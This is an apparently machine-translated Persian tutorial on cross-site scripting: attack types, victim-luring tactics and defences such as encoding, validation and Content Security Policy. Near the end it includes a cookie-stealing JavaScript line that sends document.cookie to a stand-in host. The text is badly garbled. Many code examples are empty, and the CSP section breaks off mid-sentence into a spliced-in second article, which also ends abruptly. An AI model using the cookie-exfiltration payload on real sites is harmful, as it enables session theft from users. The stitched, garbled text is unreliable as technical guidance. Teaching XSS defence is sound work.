اسکریپت XSS Cross-Site. با استفاده از آسیب پذیری XSS به حداکثر. حذف کد خود را

و یک کتاب جامع در مورد اسکریپت متقابل سایت است.

قسمت اول: مرور کلی

XSS چیست؟

اسکریپت متقاطع ( انگلیسی اسکریپت متقابل سایت) - این یک حمله است که هدف آن اجرای یک کد است که به مهاجم اجازه می دهد تا جاوا اسکریپت مخرب را در یکی دیگر از مرورگر کاربر انجام دهد.

مهاجم به طور مستقیم به قربانی خود حمله نمی کند. در عوض، او از آسیب پذیری وب سایت استفاده می کند که از قربانی بازدید می کند و یک کد جاوا اسکریپت مخرب را اجرا می کند. در مرورگر قربانی، جاوا اسکریپت مخرب به عنوان بخشی مشروع از وب سایت نمایش داده می شود و وب سایت خود به عنوان یک همدست مستقیم حمله می کند.

پیاده سازی کد جاوا اسکریپت مخرب

تنها راه حمله به راه اندازی یک جاوا اسکریپت مخرب در مرورگر قربانی این است که آن را به یکی از صفحاتی که قربانی از وب سایت دانلود شده است، معرفی کنید. این امکان وجود دارد که وب سایت به کاربران اجازه دهد اطلاعات را در صفحات خود وارد کنند و مهاجم قادر به وارد کردن یک رشته است که به عنوان بخشی از کد در مرورگر قربانی تعیین می شود.

مثال زیر یک اسکریپت ساده سرور را نشان می دهد که برای نمایش آخرین نظر در سایت استفاده می شود:

چاپ " "
چاپ "آخرین نظر:"
Print Database.LatestComment
چاپ ""

اسکریپت فرض می کند که این نظر تنها متن را تشکیل می دهد. با این حال، از زمان فوری ورودی سفارشیمهاجم می تواند این نظر را ترک کند: "". هر کاربر که از صفحه بازدید کرد، اکنون پاسخ زیر را دریافت خواهد کرد:


آخرین نظر:

هنگامی که مرورگر کاربر صفحه را بارگذاری می کند، همه چیز را انجام می دهد، از جمله کد جاوا اسکریپت موجود در داخل برچسب ها . این نشان می دهد که حضور ساده اسکریپت اجرا شده توسط مهاجم یک مشکل است، صرف نظر از آن کد اسکریپت خاص در واقع اجرا می شود.

قسمت دوم: XSS-Attack

XSS به شرکت کنندگان حمله می کند

قبل از توصیف نحوه توصیف جزئیات، چگونه حمله XSS کار می کند، ما باید موضوعات حمله XSS را شناسایی کنیم. به طور کلی، در حمله XSS سه شرکت کننده وجود دارد: سایت اینترنتی, قربانی، من. سارق.

  • سایت اینترنتی صفحات HTML را برای کاربرانی که آنها را درخواست کرده اند، می دهد. در نمونه های ما، آن را در http: // وب سایت /.
    • پایگاه داده وب سایت این یک پایگاه داده است که برخی از داده های وارد شده توسط کاربران را در صفحات سایت ذخیره می کند.
  • قربانی - این هست کاربر عادی وب سایت که صفحات را با مرورگر خود درخواست می کند.
  • هجوم بردن - این یک مهاجم است که قصد دارد از طریق استفاده از آسیب پذیری XSS در سایت، حمله به قربانی را آغاز کند.
    • سرور Surglar - این یک سرور وب تحت کنترل مهاجم با هدف تنها - سرقت اطلاعات قربانی محرمانه است. در نمونه های ما، آن را در http: // مهاجم /.

حمله سناریو مثال

این اسکریپت یک درخواست HTTP را به URL دیگری ایجاد می کند که مرورگر کاربر را به سرور مهاجم هدایت می کند. URL شامل کوکی های قربانی به عنوان یک پارامتر پرس و جو زمانی که یک درخواست HTTP به سرور مهاجم می آید، مهاجم می تواند این کوکی ها را از درخواست استخراج کند. پس از آنکه مهاجم کوکی ها را دریافت کرد، می تواند از آنها برای دادن قربانی خود استفاده کند و یک حمله بعدی را آغاز کند.

از این نقطه بر روی کد HTML نشان داده شده در بالا نامیده می شود رشته مخرب یا اسکریپت مخرب. مهم است بدانیم که رشته خود تنها مخرب است اگر در نهایت به عنوان یک کد HTML در مرورگر قربانی پردازش می شود، و این ممکن است تنها زمانی رخ دهد که آسیب پذیری XSS در وب سایت موجود است.

این مثال چگونه کار می کند

طرح زیر نمونه ای از یک حمله توسط مهاجم را نشان می دهد:

  1. مهاجم از یکی از اشکال وب سایت استفاده می کند تا یک رشته مخرب را به پایگاه داده وب سایت وارد کند.
  2. قربانی از صفحه از وب سایت می پرسد.
  3. این سایت شامل یک رشته مخرب از پایگاه داده در پاسخ است و آن را به قربانی ارسال می کند.
  4. مرورگر قربانی یک سناریوی مخرب در پاسخ را انجام می دهد و قربانیان را به سرور مهاجم ارسال می کند.

انواع XSS

هدف از حمله XSS همیشه به دلیل مخرب است اسکریپت جاوا اسکریپت در مرورگر قربانی. چندین روش اساسی برای رسیدن به این هدف وجود دارد. حملات XSS اغلب به سه نوع تقسیم می شوند:

  • ذخیره شده (دائمی) XSSجایی که رشته مخرب از پایگاه داده وب سایت حاصل می شود.
  • منعکس شده (غیر دائمی) XSSجایی که رشته مخرب از درخواست قربانی تولید می شود.
  • مدل XSS DOMجایی که آسیب پذیری در کد در سمت مشتری رخ می دهد، و نه در کنار کد سرور.

در مثال قبلی، حمله XSS ذخیره شده نشان داده شده است. در حال حاضر ما دو نوع دیگر از XSS حملات را توصیف می کنیم: XSS و XSS-Attack Models DOM را منعکس می کنند.

منعکس شده XSS

در مورد یک حمله XSS منعکس شده، یک رشته مخرب بخشی از درخواست قربانی به وب سایت است. این سایت دریافت می کند و این رشته مخرب را به کاربر ارسال شده به کاربر ارسال می کند. طرح زیر این اسکریپت را نشان می دهد:

  1. قربانی تقلبی به درخواست URL به وب سایت ارسال می کند.
  2. این سایت شامل یک رشته مخرب از پرس و جو URL در پاسخ به قربانی است.
  3. مرورگر قربانی یک سناریوی مخرب موجود در پاسخ را انجام می دهد و قربانیان را به سرور مزاحم ارسال می کند.

چگونه با موفقیت یک حمله XSS منعکس شده را انجام دهیم؟

حمله XSS منعکس شده ممکن است به نظر بی ضرر به نظر برسد، زیرا از نام او به قربانیان نیاز دارد تا درخواست حاوی یک رشته مخرب را ارسال کند. از آنجا که هیچ کس به طور داوطلبانه به خود حمله نمی کند، به نظر می رسد که هیچ راهی برای اجرای واقعی حمله وجود ندارد.

همانطور که معلوم می شود، حداقل دو روش مشترک برای ایجاد قربانی برای شروع یک حمله XSS منعکس شده علیه خود وجود دارد:

  • اگر کاربر یک شخصیت خاص باشد، مهاجم می تواند یک URL مخرب را به قربانی (به عنوان مثال، با استفاده از ایمیل یا مسنجر) ارسال کند، و فریب دادن آن را مجبور به باز کردن لینک برای بازدید از وب سایت.
  • اگر هدف یک گروه بزرگ از کاربران است، مهاجم می تواند یک لینک را به یک URL مخرب (به عنوان مثال، در وب سایت خود و یا در آن منتشر کند شبکه اجتماعی) و منتظر بازدیدکنندگان باشید که به لینک می روند.

هر دو این روش ها مشابه هستند، و هر دو ممکن است با استفاده از خدمات به "کوتاه کردن" URL موفق تر باشند، آنها رشته های مخرب را از کاربران که می توانند آن را شناسایی کنند، پنهان می کنند.

XSS در مدل DOM

XSS در مدل DOM یک گزینه به عنوان یک حمله XSS ذخیره شده و منعکس شده است. در این حمله XSS، رشته مخرب توسط مرورگر قربانی پردازش نمی شود، تا زمانی که جاوا اسکریپت واقعی وب سایت اجرا شود. طرح زیر این اسکریپت را برای حملات منعکس شده XSS نشان می دهد:

  1. مهاجم یک URL حاوی یک رشته مخرب ایجاد می کند و آن را به قربانی می فرستد.
  2. قربانی تقلب شده توسط مهاجم درخواست URL را به وب سایت ارسال می کند.
  3. این سایت یک درخواست را دریافت می کند، اما در پاسخ یک رشته مخرب را شامل نمی شود.
  4. مرورگر قربانی یک سناریوی مشروع موجود در پاسخ را انجام می دهد و نتیجه آن اسکریپت مخرب به صفحه وارد می شود
  5. مرورگر قربانی یک اسکریپت مخرب را که به صفحه وارد شده است، ارسال می کند، کوکی های قربانی را به سرور مزاحم ارسال می کند.
تفاوت بین XSS در مدل DOM چیست؟

در نمونه های قبلی حملات XSS ذخیره شده و منعکس شده، سرور یک اسکریپت مخرب را به صفحه وارد می کند، که سپس در پاسخ به قربانی ارسال می شود. هنگامی که مرورگر قربانی پاسخی دریافت کرد، فرض می کند که اسکریپت مخرب بخشی از محتوای مشروع صفحه است و به طور خودکار آن را در طول بارگذاری صفحه، و همچنین هر سناریو دیگر انجام می دهد.

در مثال از حملات XSS در مدل DOM، اسکریپت مخرب به عنوان بخشی از صفحه وارد نمی شود؛ تنها اسکریپت است که به طور خودکار اجرا می شود در طول بار بار یک بخش مشروع از صفحه است. مشکل این است که این سناریوی مشروع به طور مستقیم از ورود کاربر به منظور اضافه کردن HTML به صفحه استفاده می کند. از آنجا که رشته مخرب به صفحه با استفاده از InnerHTML وارد می شود، آن را به عنوان HTML مورد تجزیه و تحلیل قرار می گیرد، به عنوان یک نتیجه از آن اسکریپت مضر انجام می شود.

این تمایز کوچک است، اما بسیار مهم است:

  • در XSS سنتی، جاوا اسکریپت مخرب زمانی که صفحه بارگذاری می شود، به عنوان بخشی از HTML ارسال شده توسط سرور انجام می شود.
  • در مورد XSS در مدل DOM، جاوا اسکریپت مخرب پس از بارگیری صفحه انجام می شود، به عنوان یک نتیجه، این صفحه با یک جاوا اسکریپت مشروع به عنوان یک راه ناامن برای ورودی کاربر (حاوی یک رشته مخرب) نامیده می شود.
XSS چگونه در مدل DOM کار می کند؟

در مثال قبلی، نیازی به جاوا اسکریپت وجود ندارد؛ سرور می تواند تمام HTML را به خودی خود تولید کند. اگر کد در سمت سرور حاوی آسیب پذیری نیست، وب سایت به آسیب پذیری XSS نمی رسد.

با این حال، از آنجا که برنامه های کاربردی وب پیشرفته تر می شوند، مقدار فزاینده ای از صفحات HTML با استفاده از جاوا اسکریپت بر روی سمت مشتری تولید می شود و نه بر روی سرور. در هر زمان، محتوا باید بدون به روز رسانی کل صفحه تغییر کند، ممکن است با استفاده از جاوا اسکریپت امکان پذیر باشد. به طور خاص، این مورد زمانی است که صفحه پس از پرس و جو AJAX به روز می شود.

این به این معنی است که آسیب پذیری های XSS ممکن است نه تنها در قسمت سرور کد سایت شما، بلکه در کنار کد جاوا اسکریپت مشتری سایت شما حضور داشته باشند. در نتیجه، حتی با یک کد کاملا امن در سمت سرور، کد مشتری هنوز می تواند با خیال راحت برای ورود به اطلاعات کاربر هنگام به روز رسانی DOM پس از دانلود صفحه، فعال شود. اگر این اتفاق می افتد، کد از مشتری اجازه می دهد حمله XSS خطا از کد از طرف سرور نیست.

XSS بر اساس مدل DOM می تواند به سرور نامرئی باشد

یک مورد خاص از حملات XSS در یک مدل DOM وجود دارد که در آن یک رشته مخرب هرگز به سرور وب سایت ارسال نمی شود: این اتفاق می افتد زمانی که رشته مخرب در بخش شناسه URL موجود است (چیزی پس از نماد #). مرورگرها این قسمت از URL را به سرور ارسال نمی کنند، بنابراین وب سایت به استفاده از کد در سمت سرور دسترسی ندارد. با این وجود، کد از مشتری، به آن دسترسی دارد و بنابراین ممکن است یک حمله XSS توسط پردازش ناامن انجام شود.

این مورد محدود به شناسه قطعه نیست. همچنین یک ورودی کاربر دیگر که به سرور نامرئی است، به عنوان مثال، توابع جدید HTML5، مانند LocalStorage و IndexedDB وجود دارد.

قسمت سوم:
پیشگیری از XSS

روش های پیشگیری از XSS

به یاد بیاورید که XSS یک حمله از نوع استقرار کد است: کاربر وارد شده توسط کاربر به طور اشتباه به عنوان یک کد برنامه مخرب تفسیر شده است. به منظور جلوگیری از این نوع تزریق کد، پردازش ورودی امن مورد نیاز است. برای یک توسعه دهنده وب، دو اساسا وجود دارد روش های مختلف پردازش ورودی امن را انجام دهید:

  • برنامه نویسی - این یک راه است که به شما اجازه می دهد تا داده ها را فقط به عنوان داده وارد کنید و اجازه پردازش مرورگر را به عنوان کد اجازه ندهید.
  • اعتبار سنجی - این روش ورودی کاربر را فیلتر می کند تا مرورگر آن را به عنوان یک کد بدون دستورات مخرب تفسیر کند.

اگر چه این روش های اساسا متفاوت از جلوگیری از XSS هستند، آنها دارای چندین ویژگی کلی هستند که برای درک هر یک از آنها مهم هستند:

پردازش ورودی امن متن باید بسته به جایی که ورودی کاربر در صفحه استفاده می شود متفاوت باشد. پردازش ورودی ورودی / خروجی امن می تواند انجام شود یا زمانی که سایت شما داده های ورودی را دریافت می کند (ترافیک ورودی) یا به طور مستقیم قبل از اینکه سایت ورودی سفارشی را به محتوای صفحه (خروجی) وارد کند. پردازش ورودی مشتری / سرور را می توان در سمت سرویس گیرنده یا در سمت سرور انجام داد، هر گزینه در شرایط مختلف لازم است.

قبل از توضیح جزئیات چگونگی کارکرد برنامه نویسی و اعتبار، هر یک از این موارد را توصیف می کنیم.

پردازش ورودی کاربر در زمینه ها

زمینه های بسیاری در یک صفحه وب وجود دارد که در آن ورودی سفارشی می تواند اعمال شود. قوانین ویژه باید برای هر یک از آنها ملاقات شود تا ورودی کاربر نمی تواند از زمینه آن "شکستن" را از بین ببرد و نمی تواند به عنوان یک کد مخرب تفسیر شود. در زیر شایع ترین زمینه ها هستند:

معنای زمینه چیست؟

در همه زمینه های شرح داده شده، آسیب پذیری که منجر به XSS می شود ممکن است رخ دهد اگر کاربر وارد شده توسط کاربر به اولین رمزگذاری یا اعتبار سنجی وارد شده باشد. یک مهاجم می تواند یک کد مخرب را به سادگی وارد یک جداساز بسته شدن برای این زمینه و پس از آن کد مخرب است.

به عنوان مثال، اگر در برخی از موارد، وب سایت شامل ورود اطلاعات توسط کاربر به طور مستقیم به ویژگی HTML، مهاجم قادر به اجرای یک اسکریپت مخرب با شروع ورودی نقل قول خود را به عنوان زیر نشان داده شده است:

این می تواند مانع شود، به سادگی حذف تمام نقل قول ها در ورودی کاربر، و همه چیز خوب خواهد بود، اما تنها در این زمینه. اگر ورودی به یک زمینه دیگر وارد شود، جداساز بسته شدن متفاوت خواهد بود و تزریق ممکن است. به همین دلیل، پردازش ورودی امن باید همیشه با زمینه ای که ورودی کاربر وارد شود، سازگار شود.

پردازش ورودی ورودی / خروجی ورودی

غریزی، ممکن است به نظر می رسد که XSS را می توان با استفاده از برنامه نویسی یا اعتبار کل ورودی کاربر جلوگیری کرد، به محض دریافت سایت ما آن را دریافت کرد. بنابراین، هر گونه خطوط مخرب هر زمان که در صفحه گنجانده شده، خنثی شود و اسکریپت های نسل HTML مجبور به مراقبت از پردازش امن ورود کاربر نیستند.

مشکل این است که همانطور که قبلا توسط کاربر وارد شده توسط کاربر آمده است می تواند به چندین زمینه در صفحه وارد شود. و نه راه ساده تعیین زمانی که ورود کاربر در متن می آید - همانطور که در نهایت وارد می شود، و اغلب ورودی کاربر اغلب باید در زمینه های مختلف قرار داده شود. با تکیه بر پردازش ورودی ورودی برای جلوگیری از XSS، ما یک راه حل بسیار شکننده ایجاد می کنیم که به اشتباهات مربوط می شود. (Outdated "نقل قول سحر و جادو" PHP نمونه ای از چنین راه حل است.)

در عوض، پردازش ورودی خروجی باید خط حفاظت اصلی شما از XSS باشد، زیرا می تواند زمینه خاصی را در نظر بگیرد، که کاربر وارد شده توسط کاربر وارد می شود. تا حدودی، اعتبار ورودی را می توان برای اضافه کردن یک لایه حفاظت ثانویه استفاده کرد، اما بعدا این.

جایی که امکان انجام پردازش ورودی کاربر امن وجود دارد

در اکثر برنامه های کاربردی وب مدرن، ورود کاربر هر دو در کنار کد سرور و در سمت کد مشتری پردازش می شود. به منظور محافظت در برابر انواع XSS، پردازش ورودی امن باید هر دو را در کد در سمت سرور و سمت کد مشتری اجرا شود.

  • به منظور محافظت در برابر XSS سنتی، پردازش ورودی امن باید در کد در سمت سرور انجام شود. این کار با یک زبان پشتیبانی شده توسط سرور انجام می شود.
  • به منظور محافظت در برابر حمله XSS در مدل DOM، جایی که سرور هرگز یک رشته مخرب را دریافت نمی کند (به عنوان مثال، حمله قبلا توصیف شده از طریق قطعه شناسه)، پردازش ورودی امن باید در کد در سمت مشتری انجام شود. این کار با جاوا اسکریپت انجام می شود.

در حال حاضر، هنگامی که ما توضیح دادیم که چرا زمینه مهم است، چرا تفاوت بین پردازش ورودی ورودی و خروجی مهم است، و چرا پردازش ورودی امن باید در هر دو طرف ساخته شود، و در سمت مشتری و در سمت سرور، ما می توانیم به توضیح ادامه دهیم چگونه دو نوع پردازش ورودی امن (رمزگذاری و اعتبار سنجی) در واقع انجام می شود.

برنامه نویسی

برنامه نویسی یک راه خروج از وضعیت زمانی است که لازم است که مرورگر ورود کاربر تنها به عنوان داده ها تفسیر شود و نه کد. محبوب ترین نوع برنامه نویسی در توسعه وب، HTML مخفی سازی است که شخصیت هایی مانند < و > که در < و > به ترتیب.

Pseudocode زیر نمونه ای از نحوه استفاده از کاربر وارد شده توسط کاربر (سفارشی وارد شده) می تواند با استفاده از ماسک HTML رمزگذاری شود و سپس با استفاده از سناریوی سرور وارد صفحه شود:

چاپ " "
چاپ "آخرین نظر:"
چاپ encodehtml (userinput)
چاپ ""

اگر کاربر وارد خط زیر شود در نتیجه HTML به نظر می رسد:


آخرین نظر:

از آنجا که تمام نمادها با مقادیر ویژه مخفی شده بودند، مرورگر هیچ بخشی از ورودی کاربر را به عنوان HTML جدا نمی کند.

کد کدگذاری در سمت مشتری و سرور

هنگام رمزگذاری کد کدگذاری کد از مشتری، یک زبان جاوا اسکریپت همیشه استفاده می شود، که دارای توابع داخلی است که داده ها را برای زمینه های مختلف رمزگذاری می کند.

هنگام انجام کدگذاری در کد خود در سمت سرور، به ویژگی های موجود در زبان یا چارچوب خود متکی هستید. به خاطر اینکه تعداد زیادی زبان ها و چارچوب های موجود داده شده تدبیر این جزئیات برنامه نویسی را در هر سرور یا چارچوب خاص پوشش نمی دهد. با این وجود، توابع رمزگذاری جاوا اسکریپت مورد استفاده در سمت سرویس گیرنده نیز هنگام نوشتن کد در سمت سرور استفاده می شود.

کدگذاری بر روی سمت مشتری

هنگام رمزگذاری یک ورودی مشتری سفارشی با استفاده از جاوا اسکریپت، چندین روش و خواص داخلی وجود دارد که به طور خودکار تمام داده ها را در سبک وابسته به متنی رمزگذاری می کنند:

آخرین زمینه که قبلا ذکر شد (مقادیر در جاوا اسکریپت) در این لیست گنجانده نشده است، زیرا جاوا اسکریپت یک روش رمزگذاری داده های داخلی را ارائه نمی دهد که در کد منبع جاوا اسکریپت فعال می شود.

محدودیت های رمزگذاری

حتی زمانی که رمزگذاری آن امکان استفاده از خطوط مخرب در برخی زمینه ها وجود دارد. یک مثال روشن از این زمانی است که ورود کاربر برای ارائه URL، به عنوان مثال، در مثال زیر استفاده می شود:

document.queryselector ("a"). href \u003d userInput

اگر چه مقدار مشخص شده در اموال عنصر HREF به طور خودکار آن را رمزگذاری می کند به طوری که آن را بیشتر از مقدار ویژگی نمی شود، این به خودی خود را با مهاجم دخالت نمی کند وارد یک URL با شروع "جاوا اسکریپت:". هنگامی که روی لینک کلیک میکنید، صرف نظر از ساخت و ساز، جاوا اسکریپت داخلی ساخته شده در داخل URL اجرا خواهد شد.

Coding نیز یک راه حل موثر نیست، زمانی که کاربران می خواهند از بخشی از کد های HTML در صفحه استفاده کنند. یک مثال صفحه پروفایل کاربر است، جایی که کاربر می تواند از HTML کاربر استفاده کند. اگر این HTML معمولی کدگذاری شده باشد، صفحه نمایه قادر به تشکیل تنها متن ساده خواهد بود.

در چنین شرایطی، برنامه نویسی باید با اعتبار سنجی که ما بیشتر بدانیم، تکمیل شود.

اعتبار سنجی

اعتبار سنجی یک عمل فیلتر کردن ورودی کاربر است به طوری که تمام قطعات مخرب بدون نیاز به حذف کل کد در آن حذف شود. یکی از بیشترین استفاده های مورد استفاده در توسعه وب، به شما امکان می دهد از برخی از عناصر HTML استفاده کنید (به عنوان مثال، و ) اما از بین بردن دیگران (به عنوان مثال،

با یک سیاست CSP به درستی خاص، مرورگر نمی تواند Malicious-script.js را دانلود و اجرا کند زیرا http: // مهاجم / به عنوان یک منبع قابل اعتماد مشخص نشده است. حتی اگر این سایت نتواند به طور ایمن ورود کاربر را در این مورد انجام دهد، سیاست CSP مانع آسیب پذیری شد و باعث آسیب پذیری شد.

حتی اگر مهاجم توسط کد داخل کد سناریو تزریق شود، و نه با اشاره به فایل خارجی، سیاست CSP به درستی پیکربندی شده نیز تزریق را به کد جاوا اسکریپت جلوگیری می کند و باعث آسیب پذیری می شود.

چگونه CSP را فعال کنیم؟

به طور پیش فرض، مرورگرها از CSP استفاده نمی کنند. به منظور فعال کردن SCP در وب سایت شما، صفحات باید دارای یک هدر HTTP اضافی باشند: سیاست امنیت محتوا. هر صفحه ای که حاوی این عنوان است، سیاست های امنیتی را در هنگام بوت شدن مرورگر اعمال خواهد کرد، در صورتی که مرورگر از CSP پشتیبانی می کند.

از آنجا که سیاست امنیتی با هر پاسخ HTTP ارسال می شود، ممکن است به صورت جداگانه یک سیاست را بر روی سرور به صورت جداگانه برای هر صفحه نصب کنید. همان سیاست را می توان به کل وب سایت اعمال کرد، در هر پاسخ، همان هدر CSP را وارد کنید.

محتوا در هدر خط مشی امنیتی محتوا شامل یک رشته تعریف یک یا چند سیاست امنیتی است که بر روی سایت شما کار می کند. نحو این رشته در زیر شرح داده خواهد شد.

نمونه هایی از سرصفحه این بخش از انتقال ردیف ها استفاده می کند و برای سادگی ادراک استفاده می شود؛ آنها نباید در هدر فعلی حضور داشته باشند.

نحو CSP

نحو هدر CSP به نظر می رسد مثل این است:

محتوا امنیت سیاست:
دستورالعمل مبحی منبع, مبحی منبع, ...;
دستورالعمل ...;
...

این نحو شامل دو عنصر است:

  • دستورالعمل ها (دستورالعمل ها) خطوط ارائه شده نشان دهنده نوع منبع گرفته شده از لیست مشخص شده است.
  • عبارات منبع این یک مدل توصیف یک یا چند سرور از جایی است که منابع را می توان دانلود کرد.

برای هر دستورالعمل، داده ها در بیان منبع تعیین می کنند که کدام منابع را می توان برای بارگیری منابع نوع مناسب استفاده کرد.

دستورالعمل

دستورالعمل های زیر را می توان در هدر CSP استفاده کرد:

  • connect-src
  • font-src
  • فریم SRC
  • img-src
  • رسانه SRC
  • object-SRC
  • script-src
  • style-src

علاوه بر این، دستورالعمل ویژه به طور پیش فرض SRC می تواند برای اطمینان از مقدار پیش فرض برای تمام دستورات که در عنوان گنجانده نشده استفاده شود.

بیان منبع

نحو برای ایجاد یک بیان از منبع به شرح زیر است:

پروتکل: // نام میزبان: شماره پورت

نام میزبان می تواند با * شروع شود، این بدان معنی است که هر گونه زیر دامنه نام میزبان ارائه شده حل خواهد شد. به طور مشابه، شماره پورت را می توان به عنوان * نشان داد، این به این معنی است که تمام پورت ها حل خواهند شد. علاوه بر این، پروتکل و شماره پورت می توانند از دست رفته باشند. اگر پروتکل مشخص نشده باشد، این سیاست به تمام منابع نیاز دارد که با استفاده از HTTPS بارگیری شود.

علاوه بر نحو فوق، بیان منبع ممکن است یکی از چهار جایگزین باشد کلید واژه ها با ارزش ویژه (نقل قول ها گنجانده شده است):

"هیچ" منابع را ممنوع نمی کند. "خود" اجازه می دهد تا منابع از میزبان که صفحه وب واقع شده است. "Unsafe-inline" اجازه می دهد تا منابع موجود در صفحه به عنوان ساخته شده است

به نوعی بسیار ترسناک نیست :) چه چیزی واقعا می تواند این آسیب پذیری خطرناک باشد؟

منفعل و فعال

دو نوع آسیب پذیری XSS وجود دارد - منفعل و فعال.

آسیب پذیری فعال خطرناک تر، به عنوان یک مهاجم نیازی به قربانی کردن قربانی در یک لینک خاص ندارد، کافی است که او کد را به پایه یا برخی از فایل ها بر روی سرور اجرا کند. بنابراین، همه بازدیدکنندگان سایت به طور خودکار قربانی می شوند. به عنوان مثال، می تواند یکپارچه شود، به عنوان مثال، با تعبیه کد SQL (تزریق SQL). بنابراین، شما نباید به اطلاعات ذخیره شده در پایگاه داده اعتماد کنید، حتی اگر درج آنها پردازش شود.

مثال آسیب پذیری منفعل شما می توانید در ابتدای مقاله ببینید. به عنوان مثال، مهندسی اجتماعی در حال حاضر وجود دارد، یک نامه مهم از اداره سایت از شما می خواهد تنظیمات حساب کاربری خود را پس از بهبودی از پشتیبان گیری بررسی کنید. بر این اساس، شما باید آدرس قربانی را بدانید یا به سادگی یک خبرنامه هرزنامه را ترتیب دهید یا یک پست را در برخی از انجمن ها قرار دهید و نه این واقعیت که قربانیان ساده لوحانه و به لینک شما می روند.

علاوه بر این، آسیب پذیری های منفعل می تواند به هر دو پست و پارامترهای دریافت شود. با پارامترهای پس از پارامترها، قابل درک خواهد بود، شما باید بر روی ترفندها بروید. به عنوان مثال، تغییر مسیر از سایت مزاحم.

">

در نتیجه، آسیب پذیری دریافتی کمی خطرناک تر است، زیرا قربانی آسان تر است که دامنه اشتباه را از پارامتر اضافی متوجه شود (اگر چه URL را می توان در کل رمزگذاری کرد).

بیسکویت ها

این نمونه اغلب ذکر شده از حملات XSS است. در سایت های کوکی ها گاهی اطلاعاتی ارزشمند (گاهی اوقات حتی ورود و رمز عبور (یا هش آن) کاربر را ذخیره می کنند)، اما خطرناک ترین سرقت یک جلسه فعال است، بنابراین فراموش نکنید که لینک "خروج" را در سایت ها فشار دهید حتی اگر آن کامپیوتر خانگی. خوشبختانه، در اکثر منابع، طول عمر جلسه محدود است.

var іmg \u003d تصویر جدید ()؛ іmg.sps \u003d "http: //site/xss.php؟" + document.cookie؛

بنابراین، محدودیت های دامنه در xmlhttprequest، اما مهاجم ترسناک نیست زیرا وجود دارد